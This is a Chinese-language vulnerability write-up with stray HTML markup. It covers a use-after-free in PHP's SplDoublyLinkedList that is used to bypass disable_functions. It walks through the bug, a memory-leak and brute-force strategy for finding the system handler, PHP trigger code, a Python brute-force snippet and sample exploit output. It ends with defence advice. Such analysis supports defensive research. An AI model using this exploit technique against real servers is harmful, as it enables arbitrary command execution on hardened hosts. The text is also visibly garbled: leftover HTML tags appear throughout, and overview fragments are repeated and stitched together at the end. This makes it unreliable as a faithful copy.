PHP SplDoublyLinkedList UAF漏洞分析与利用<\/h1>

漏洞概述<\/h2>
本漏洞存在于PHP内置类`SplDoublyLinkedList<\/code>中，是一个Use-After-Free (UAF)漏洞，可用于绕过PHP的disabled functions限制。该漏洞影响PHP 7.4.10、7.3.22和7.2.34版本，截至文档编写时尚未被官方修复。<\/p>`

漏洞原理<\/h2>
漏洞触发点<\/h3>
漏洞发生在SplDoublyLinkedList<\/code>类的unset<\/code>操作中，具体问题在于traverse_pointer<\/code>指针的处理顺序不当：<\/p>
if<\/span> (element !=<\/span> NULL) {
<\/span><\/span>    \/* connect the neighbors *\/<\/span>
<\/span><\/span>    ...
<\/span><\/span>    
<\/span><\/span>    \/* take care of head\/tail *\/<\/span>
<\/span><\/span>    ...
<\/span><\/span>    
<\/span><\/span>    \/* finally, delete the element *\/<\/span>
<\/span><\/span>    llist-><\/span>count--<\/span>;
<\/span><\/span>    
<\/span><\/span>    if<\/span>(llist-><\/span>dtor) {
<\/span><\/span>        llist-><\/span>dtor(element);
<\/span><\/span>    }
<\/span><\/span>    
<\/span><\/span>    if<\/span> (intern-><\/span>traverse_pointer ==<\/span> element) {
<\/span><\/span>        SPL_LLIST_DELREF(element);
<\/span><\/span>        intern-><\/span>traverse_pointer =<\/span> NULL;
<\/span><\/span>    }
<\/span><\/span>    ...
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>关键问题在于：<\/p>

删除元素的操作被放在了置空traverse_pointer<\/code>指针之前<\/li>
在删除对象时，可以在其析构函数中通过current<\/code>访问到这个对象<\/li>
也可以通过next<\/code>访问到下一个元素<\/li>
如果下一个元素已经被删除，就会导致UAF<\/li>
<\/ol>
链表元素结构<\/h3>
typedef<\/span> struct<\/span> _spl_ptr_llist_element {
<\/span><\/span>    struct<\/span> _spl_ptr_llist_element *<\/span>prev;
<\/span><\/span>    struct<\/span> _spl_ptr_llist_element *<\/span>next;
<\/span><\/span>    int<\/span>                            rc;
<\/span><\/span>    zval                           data;
<\/span><\/span>} spl_ptr_llist_element;
<\/span><\/span><\/code><\/pre>
前后指针 + 引用计数 + zval格式的data，总大小为0x28字节<\/li>
<\/ul>
可控的zend_string结构<\/h3>
struct<\/span> _zend_string {
<\/span><\/span>    zend_refcounted_h gc;
<\/span><\/span>    zend_ulong        h;                \/* hash value *\/<\/span>
<\/span><\/span>    size_t            len;
<\/span><\/span>    char<\/span>              val[1<\/span>];
<\/span><\/span>};
<\/span><\/span><\/code><\/pre>通过字符串进行UAF，可以控制元素的整个data部分。<\/p>
利用方法<\/h2>
无openbase_dir限制的情况<\/h3>


在链表中放置3个主要元素：<\/p>

触发析构函数的对象<\/li>
用于UAF的元素<\/li>
closure对象<\/li>
<\/ul>
<\/li>

读取\/proc\/self\/maps<\/code>获取PHP申请的Chunk地址（最小为2MB）<\/p>
<\/li>

在链表中放入特殊标记的元素，从Chunk中每0x1000字节搜索一次这些元素<\/p>
<\/li>

通过元素的前指针找到链表中的closure对象<\/p>
<\/li>

泄露closure handler的地址，然后向前搜索system函数handler的地址<\/p>
<\/li>

伪造一个closure对象，将其handler设置为system<\/p>
<\/li>

调用该closure对象执行system命令<\/p>
<\/li>
<\/ol>
有openbase_dir限制的情况<\/h3>
由于无法直接读取\/proc\/self\/maps<\/code>，需要采用爆破方式：<\/p>


申请一个120MB的大Chunk（PHP默认最大内存使用为128MB）<\/p>
<\/li>

从0x7f0000000000开始每0x8000000爆破一次，寻找这个大Chunk<\/p>
<\/li>

找到后每0x20000循环泄露PHP Chunk和链表地址<\/p>
<\/li>

后续步骤与无限制情况相同<\/p>
<\/li>
<\/ol>
利用脚本分析<\/h2>
PHP部分关键代码<\/h3>
class<\/span> Trigger<\/span> {
<\/span><\/span>    function<\/span> __destruct() {
<\/span><\/span>        global<\/span> $s;
<\/span><\/span>        unset<\/span>($s[0<\/span>]);
<\/span><\/span>        $a =<\/span> str_shuffle<\/span>(str_repeat<\/span>("T"<\/span>, 0xf<\/span>));
<\/span><\/span>        i2s<\/span>($a, 0x00<\/span>, 0x1234567812345678<\/span>);
<\/span><\/span>        i2s<\/span>($a, 0x08<\/span>, 0x04<\/span>, 7<\/span>);
<\/span><\/span>        $s -><\/span> current<\/span>();
<\/span><\/span>        $s -><\/span> next<\/span>();
<\/span><\/span>        if<\/span> ($s -><\/span> current<\/span>() !==<\/span> 0x1234567812345678<\/span>) {
<\/span><\/span>             die<\/span>("[!]UAF Failed"<\/span>);
<\/span><\/span>        }
<\/span><\/span>        \/\/ ... 后续利用代码
<\/span><\/span><\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>\/\/ 初始化链表
<\/span><\/span><\/span><\/span>$s =<\/span> new<\/span> SplDoublyLinkedList<\/span>();
<\/span><\/span>$s -><\/span> push<\/span>(new<\/span> Trigger<\/span>());
<\/span><\/span>$s -><\/span> push<\/span>("Twings"<\/span>);
<\/span><\/span>$s -><\/span> push<\/span>(function<\/span>($x){});
<\/span><\/span>for<\/span> ($x =<\/span> 0<\/span>;$x <<\/span> 0x100<\/span>;$x++<\/span>) {
<\/span><\/span>    $s -><\/span> push<\/span>(0x1234567812345678<\/span>);
<\/span><\/span>}
<\/span><\/span>$s -><\/span> rewind<\/span>();
<\/span><\/span>unset<\/span>($s[0<\/span>]);
<\/span><\/span><\/code><\/pre>Python爆破部分<\/h3>
def<\/span> bomb1<\/span>(_url):
<\/span><\/span>    # 爆破PHP Chunk地址<\/span>
<\/span><\/span>    addr =<\/span> 0x7f0000000000<\/span>
<\/span><\/span>    while<\/span> True<\/span>:
<\/span><\/span>        try<\/span>:
<\/span><\/span>            addr =<\/span> addr +<\/span> 0x10000000<\/span> \/<\/span> 2<\/span>
<\/span><\/span>            content =<\/span> requests.<\/span>post(_url +<\/span> "?test1="<\/span> +<\/span> urllib.<\/span>quote(n2s(addr)), ...<\/span>)
<\/span><\/span>            # ... 检查响应<\/span>
<\/span><\/span><\/code><\/pre>实际利用效果<\/h2>
无限制情况示例输出<\/h3>
[+]PHP Chunk: 7f026be00000 - 7f026c000000, length: 0x200000
[+]SplDoublyLinkedList Element: 7f026be540f0
[+]Closure Chunk: 7f026be544b0
[+]Closure Object: 7f026be588c0
[+]Closure Handler: 7f026d4f9780
[+]Find system's handler: 7f026cae9100
[+]Executing command:
PHP 7.4.10 (cli) (built: Sep 10 2020 13:50:32) ( NTS )
<\/code><\/pre>
有限制情况示例输出<\/h3>
[+]Bomb 1400 times, address of first chunk maybe: 0x7f2bc0000000L
[+]Bomb 70 times, address of php chunk maybe: 0x7f2e58c00000L
[+]PHP crash 14 times
[+]SplDoublyLinkedList Element: 7f2e596540f0
[+]Closure Chunk: 7f2e596544b0
[+]Find system's handler: 7f2e5a310100
<\/code><\/pre>
限制与不足<\/h2>

在有openbase_dir限制的情况下，需要进行大量爆破（约1400次）<\/li>
每次爆破都会导致Apache子进程崩溃重启<\/li>
偶尔会因为读取越界导致崩溃（约100次内）<\/li>
利用过程相对复杂，需要精确控制内存布局<\/li>
<\/ol>
防御建议<\/h2>

及时更新PHP版本，关注官方修复<\/li>
限制PHP内存使用大小<\/li>
使用Suhosin等强化PHP安全的扩展<\/li>
严格控制openbase_dir设置<\/li>
禁用不必要的PHP内置类<\/li>
<\/ol>
总结<\/h2>
这个UAF漏洞通过精心构造的SplDoublyLinkedList操作，结合PHP内存管理特性，实现了对disabled functions的绕过。虽然利用条件有一定限制，但在特定环境下仍具有较高的危害性。理解该漏洞有助于更好地防御类似安全问题。<\/p>

PHP SplDoublyLinkedList UAF漏洞分析与利用<\/h1>

漏洞概述<\/h2> 本漏洞存在于PHP内置类SplDoublyLinkedList<\/code>中，是一个Use-After-Free (UAF)漏洞，可用于绕过PHP的disabled functions限制。该漏洞影响PHP 7.4.10、7.3.22和7.2.34版本，截至文档编写时尚未被官方修复。<\/p>

利用方法<\/h2>

利用脚本分析<\/h2>

实际利用效果<\/h2>

漏洞概述<\/h2>
本漏洞存在于PHP内置类`SplDoublyLinkedList<\/code>中，是一个Use-After-Free (UAF)漏洞，可用于绕过PHP的disabled functions限制。该漏洞影响PHP 7.4.10、7.3.22和7.2.34版本，截至文档编写时尚未被官方修复。<\/p>`